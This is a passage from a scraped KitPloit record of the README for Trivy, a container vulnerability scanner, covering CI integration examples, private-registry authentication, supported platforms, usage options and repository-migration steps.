want to fail the test, specify ` --exit-code 0 ` . \n** Note ** : It will take a while for the first time (faster by cache after the second time). \n \n** Travis CI ** \n\n \n \n $ cat .travis.yml\n services:\n - docker\n \n env:\n global:\n - COMMIT=${TRAVIS_COMMIT::8}\n \n before_install:\n - docker build -t trivy-ci-test:${COMMIT} .\n - export VERSION=$(curl --silent \"https://api.github.com/repos/aquasecurity/trivy/releases/latest\" | grep '\"tag_name\":' | sed -E 's/.*\"v([^\"]+)\".*/\\1/')\n - wget https://github.com/aquasecurity/trivy/releases/download/v${VERSION}/trivy_${VERSION}_Linux-64bit.tar.gz\n - tar zxvf trivy_${VERSION}_Linux-64bit.tar.gz\n script:\n - ./trivy --exit-code 0 --severity HIGH --no-progress --auto-refresh trivy-ci-test:${COMMIT}\n - ./trivy --exit-code 1 --severity CRITICAL --no-progress --auto-refresh trivy-ci-test:${COMMIT}\n cache:\n directories:\n - $HOME/.cache/trivy\n\nExample: [ https://travis-ci.org/aquasecurity/trivy-ci-test ](<https://travis-ci.org/aquasecurity/trivy-ci-test> \"https://travis-ci.org/aquasecurity/trivy-ci-test\" ) \nRepository: [ https://github.com/aquasecurity/trivy-ci-test ](<https://github.com/aquasecurity/trivy-ci-test> \"https://github.com/aquasecurity/trivy-ci-test\" ) \n \n** CircleCI ** \n\n \n \n $ cat .circleci/config.yml\n jobs:\n build:\n docker:\n - image: docker:18.09-git\n steps:\n - checkout\n - setup_remote_docker\n - restore_cache:\n key: vulnerability-db\n - run:\n name: Build image\n command: docker build -t trivy-ci-test:${CIRCLE_SHA1} .\n - run:\n name: Install trivy\n command: |\n apk add --update curl\n VERSION=$(\n curl --silent \"https://api.github.com/repos/aquasecurity/trivy/releases/latest\" | \\\n grep '\"tag_name\":' | \\\n sed -E 's/.*\"v([^\"]+)\".*/\\1/'\n )\n \n wget https://github.com/aquasecurity/trivy/releases/download/v${VERSION}/trivy_${VERSION}_Linux-64bit.tar.gz\n tar zxvf trivy_${VERSION}_Linux-64bit.tar.gz\n mv trivy /usr/local/bin\n - run:\n name: Scan the lo cal image with trivy\n command: trivy --exit-code 0 --no-progress --auto-refresh trivy-ci-test:${CIRCLE_SHA1}\n - save_cache:\n key: vulnerability-db\n paths:\n - $HOME/.cache/trivy\n workflows:\n version: 2\n release:\n jobs:\n - build\n\nExample: [ https://circleci.com/gh/aquasecurity/trivy-ci-test ](<https://circleci.com/gh/aquasecurity/trivy-ci-test> \"https://circleci.com/gh/aquasecurity/trivy-ci-test\" ) \nRepository: [ https://github.com/aquasecurity/trivy-ci-test ](<https://github.com/aquasecurity/trivy-ci-test> \"https://github.com/aquasecurity/trivy-ci-test\" ) \n \n** Authorization for Private Docker Registry ** \nTrivy can download images from private registry, without installing ` Docker ` and any 3rd party tools. That's because it's easy to run in a CI process. \nAll you have to do is install ` Trivy ` and set ENV vars. But, I can't recommend using ENV vars in your local machine to you. \n \n** Docker Hub ** \nDocker Hub needs ` TRIVY_AUTH_URL ` , ` TRIVY_USERNAME ` and ` TRIVY_PASSWORD ` . You don't need to set ENV vars when download from public repository. \n\n \n \n export TRIVY_AUTH_URL=https://registry.hub.docker.com\n export TRIVY_USERNAME={DOCKERHUB_USERNAME}\n export TRIVY_PASSWORD={DOCKERHUB_PASSWORD}\n\n \n** Amazon ECR (Elastic Container Registry) ** \nTrivy uses AWS SDK. You don't need to install ` aws ` CLI tool. You can use [ AWS CLI's ENV Vars ](<https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html> \"AWS CLI's ENV Vars\" ) . \n \n** GCR (Google Container Registry) ** \nTrivy uses Google Cloud SDK. You don't need to install ` gcloud ` command. \nIf you want to use target project's repository, you can settle via ` GOOGLE_APPLICATION_CREDENTIAL ` . \n\n \n \n # must set TRIVY_USERNAME empty char\n export GOOGLE_APPLICATION_CREDENTIALS=/path/to/credential.json\n\n \n** Self Hosted Registry (BasicAuth) ** \nBasicAuth server needs ` TRIVY_USERNAME ` and ` TRIVY_PASSWORD ` . \n\n \n \n export TRIVY_USERNAME={USERNAME}\n export TRIVY_PASSWORD={PASSWORD}\n \n # if you want to use 80 port, use NonSSL\n export TRIVY_NON_SSL=true\n\n \n** Vulnerability Detection ** \n \n** OS Packages ** \nThe unfixed/unfixable vulnerabilities mean that the patch has not yet been provided on their distribution. \nOS | Supported Versions | Target Packages | Detection of unfixed vulnerabilities \n---|---|---|--- \nAlpine Linux | 2.2 - 2.7, 3.0 - 3.10 | Installed by apk | NO \nRed Hat Universal Base Image | 7, 8 | Installed by yum/rpm | YES \nRed Hat Enterprise Linux | 6, 7, 8 | Installed by yum/rpm | YES \nCentOS | 6, 7 | Installed by yum/rpm | YES \nDebian GNU/Linux | wheezy, jessie, stretch, buster | Installed by apt/apt-get/dpkg | YES \nUbuntu | 12.04, 14.04, 16.04, 18.04, 18.10, 19.04 | Installed by apt/apt-get/dpkg | YES \nRHEL and CentOS package information is stored in a binary format, and Trivy uses the ` rpm ` executable to parse this information when scanning an image based on RHEL or CentOS. The Trivy container image includes ` rpm ` , and the installers include it as a dependency. If you installed the ` trivy ` binary using ` wget ` or ` curl ` , or if you build it from source, you will also need to ensure that ` rpm ` is available. \n \n** Application Dependencies ** \n` Trivy ` automatically detects the following files in the container and scans vulnerabilities in the application dependencies. \n\n\n * Gemfile.lock \n * Pipfile.lock \n * poetry.lock \n * composer.lock \n * package-lock.json \n * yarn.lock \n * Cargo.lock \nThe path of these files does not matter. \nExample: [ https://github.com/aquasecurity/trivy-ci-test/blob/master/Dockerfile ](<https://github.com/aquasecurity/trivy-ci-test/blob/master/Dockerfile> \"https://github.com/aquasecurity/trivy-ci-test/blob/master/Dockerfile\" ) \n \n** Data source ** \n\n\n * PHP \n * [ https://github.com/FriendsOfPHP/security-advisories ](<https://github.com/FriendsOfPHP/security-advisories> \"https://github.com/FriendsOfPHP/security-advisories\" )\n * Python \n * [ https://github.com/pyupio/safety-db ](<https://github.com/pyupio/safety-db> \"https://github.com/pyupio/safety-db\" )\n * Ruby \n * [ https://github.com/rubysec/ruby-advisory-db ](<https://github.com/rubysec/ruby-advisory-db> \"https://github.com/rubysec/ruby-advisory-db\" )\n * Node.js \n * [ https://github.com/nodejs/security-wg ](<https://github.com/nodejs/security-wg> \"https://github.com/nodejs/security-wg\" )\n * Rust \n * [ https://github.com/RustSec/advisory-db ](<https://github.com/RustSec/advisory-db> \"https://github.com/RustSec/advisory-db\" )\n \n** Usage ** \n\n \n \n NAME:\n trivy - A simple and comprehensive vulnerability scanner for containers\n USAGE:\n trivy [options] image_name\n VERSION:\n 0.1.6\n OPTIONS:\n --format value, -f value format (table, json) (default: \"table\")\n --input value, -i value input file path instead of image name\n --severity value, -s value severities of vulnerabilities to be displayed (comma separated) (default: \"UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL\")\n --output value, -o value output file name\n --exit-code value Exit code when vulnerabilities were found (default: 0)\n --skip-update skip db update\n --only-update value update db only specified distribution (comma separated)\n --reset remove all caches and database\n --clear-cache, -c clear image caches\n --quiet, -q suppress progress bar and log output\n --no-progress suppress progress bar\n - -ignore-unfixed display only fixed vulnerabilities\n --refresh refresh DB (usually used after version update of trivy)\n --auto-refresh refresh DB automatically when updating version of trivy\n --debug, -d debug mode\n --vuln-type value comma-separated list of vulnerability types (os,library) (default: \"os,library\")\n --cache-dir value cache directory (default: \"/path/to/cache\")\n --help, -h show help\n --version, -v print the version\n\n \n \n** Migration ** \nOn 19 August 2019, Trivy's repositories moved from ` knqyf263/trivy ` to ` aquasecurity/trivy ` . If you previously installed Trivy you should update any scripts or package manager records as described in this section. \n \n** Overview ** \nIf you have a script that installs Trivy (for example into your CI pipelines) you should update it to obtain it from the new location by replacing knqyf263/trivy with aquasecurity/trivy. \nFor example: \n\n \n \n # Before\n $ wget https://github.com/knqyf263/trivy/releases/download/v${VERSION}/trivy_${VERSION}_Linux-64bit.tar.gz\n \n # After\n $ wget https://github.com/aquasecurity/trivy/releases/download/v${VERSION}/trivy_${VERSION}_Linux-64bit.tar.gz\n\n \n** CentOS/RedHat ** \nUse [ https://aquasecurity.github.io ](<https://aquasecurity.github.io/> \"https://aquasecurity.github.io\" ) instead of [ https://knqyf263.github.io ](<https://knqyf263.github.io/> \"https://knqyf263.github.io\" ) . \n\n \n \n $ yum remove trivy\n $ sed -i s/knqyf263/aquasecurity/g /etc/yum.repos.d/trivy.repo\n $ yum update\n $ yum install trivy\n\n \n** Debian/Ubuntu ** \nUse [ https://aquasecurity.github.io ](<https://aquasecurity.github.io/> \"https://aquasecurity.github.io\" ) instead of [ https://knqyf263.github.io ](<https://knqyf263.github.io/> \"https://knqyf263.github.io\" ) . \n\n \n \n $ apt-get remove --purge trivy\n $ sed -i s/knqyf263/aquasecurity/g /etc/apt/sources.list.d/trivy.list\n $ apt-get update\n $ apt-get install trivy\n\n \n** Homebrew ** \nTap aquasecurity/trivy \n\n \n \n $ brew uninstall --force trivy\n $ brew untap knqyf263/trivy\n $ brew install aquasecurity/trivy/trivy\n\n \n** Binary (Including Windows) ** \nNo need to fix. \n \n** Others ** \n \n** Detected version update of trivy. Please try again with --refresh option ** \nTry again with ` --refresh ` option: \n\n \n \n $ trivy --refresh alpine:3.9\n\n \n** Unknown error ** \nTry again with ` --reset ` option: \n\n \n \n $ trivy --reset\n\n \n** Credits ** \n\n\n * Special thanks to [ Tomoya Amachi ](<https://github.com/tomoyamachi> \"Tomoya Amachi\" )\n * Special thanks to [ Masahiro Fujimura ](<https://github.com/masahiro331> \"Masahiro Fujimura\" )\n * Special thanks to [ Naoki Harima ](<https://github.com/XapiMa> \"Naoki Harima\" )\n \n** Author ** \nTeppei Fukuda (knqyf263) \n \n \n\n\n** [ Download Trivy ](<https://github.com/aquasecurity/trivy> \"Download Trivy\" ) **\n", "modified": "2019-11-05T12:00:00", "published": "2019-11-05T12:00:00", "id": "KITPLOIT:7323577050718865961", "href": "http://www.kitploit.com/2019/11/trivy-simple-and-comprehensive.html", "title": "Trivy - A Simple And Comprehensive Vulnerability Scanner For Containers, Suitable For CI", "type": "kitploit", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
